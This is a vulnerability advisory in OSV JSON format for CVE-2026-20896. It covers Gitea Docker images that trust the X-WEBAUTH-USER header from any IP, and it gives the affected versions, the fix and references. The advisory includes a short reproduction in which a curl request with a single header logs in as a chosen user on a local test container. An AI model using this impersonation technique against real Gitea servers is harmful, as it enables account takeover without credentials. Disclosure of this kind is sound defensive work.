CVE-2026-20896: Gitea Docker image Remote Code Execution Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-f75j-4cw6-rmx4",
  "modified" : "2026-07-21T20:28:58Z",
  "published" : "2026-07-21T20:28:58Z",
  "aliases" : [ "CVE-2026-20896" ],
  "summary" : "Gitea Docker image: `REVERSE_PROXY_TRUSTED_PROXIES = *` default lets any source IP impersonate any user via `X-WEBAUTH-USER`",
  "details" : "# Summary\n\nThe Gitea Docker images ship an `app.ini` template that hard-codes:\n\n```\nREVERSE_PROXY_TRUSTED_PROXIES = *\n```\n\nThe documented default for this setting, in `custom/conf/app.example.ini`, is `127.0.0.0/8,::1/128`, i.e. only loopback is trusted.\n\nWhen an admin enables `ENABLE_REVERSE_PROXY_AUTHENTICATION = true` to put Gitea behind an authenticating reverse proxy and leaves the trusted-proxies setting at \"the default\", they expect only the proxy's loopback connection to inject identity. The Docker image instead trusts `X-WEBAUTH-USER` from **any source IP** that can reach the container.\n\n## Affected\n\n- `gitea/gitea` Docker images (verified `1.26.2`)\n- `docker/root/etc/templates/app.ini:55`\n- `docker/rootless/etc/templates/app.ini:52`\n\nBinary distribution and self-built deployments that follow `app.example.ini` get the loopback-only default and are not affected.\n\n## Reproduction\n\n```\ndocker run -d --name g -p 3000:3000 \\\n  -e GITEA__service__ENABLE_REVERSE_PROXY_AUTHENTICATION=true \\\n  -e GITEA__security__INSTALL_LOCK=true \\\n  gitea/gitea:1.26.2\n\nsleep 15\ndocker exec --user git g gitea admin user create \\\n  --username alice --password \"longpasswordhere1234\" \\\n  --email alice@x.test --must-change-password=false\n\nNow the attack::\n\n\ncurl -s -L -H \"X-WEBAUTH-USER: alice\" http://localhost:3000/ \\\n  | grep -oE '<title>[^<]+</title>'\n```\n\nOutput: `<title>alice - Dashboard - Gitea: Git with a cup of tea</title>` — attacker is logged in as alice with one header, no password, no cookie.\n\nSame payload with `X-WEBAUTH-USER: <any_existing_username>` impersonates that user.\n\n## Impact\n\nAny process that can reach the Gitea container's HTTP port directly — not through the intended authenticating proxy — can impersonate any user whose login name is known or guessable. Admin accounts (`admin`, `gitea_admin`, etc.) are the obvious targets.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "code.gitea.io/gitea"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.26.3"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/go-gitea/gitea/security/advisories/GHSA-f75j-4cw6-rmx4"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-20896"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/go-gitea/gitea/pull/38151"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/go-gitea/gitea/commit/99f8b3d9a1d32f4c39828e07971455a18191e0b9"
  }, {
    "type" : "WEB",
    "url" : "https://blog.gitea.com/release-of-1.26.3-and-1.26.4"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/go-gitea/gitea"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/go-gitea/gitea/releases/tag/v1.26.3"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-284" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-21T20:28:58Z",
    "nvd_published_at" : "2026-07-03T21:16:56Z"
  }
}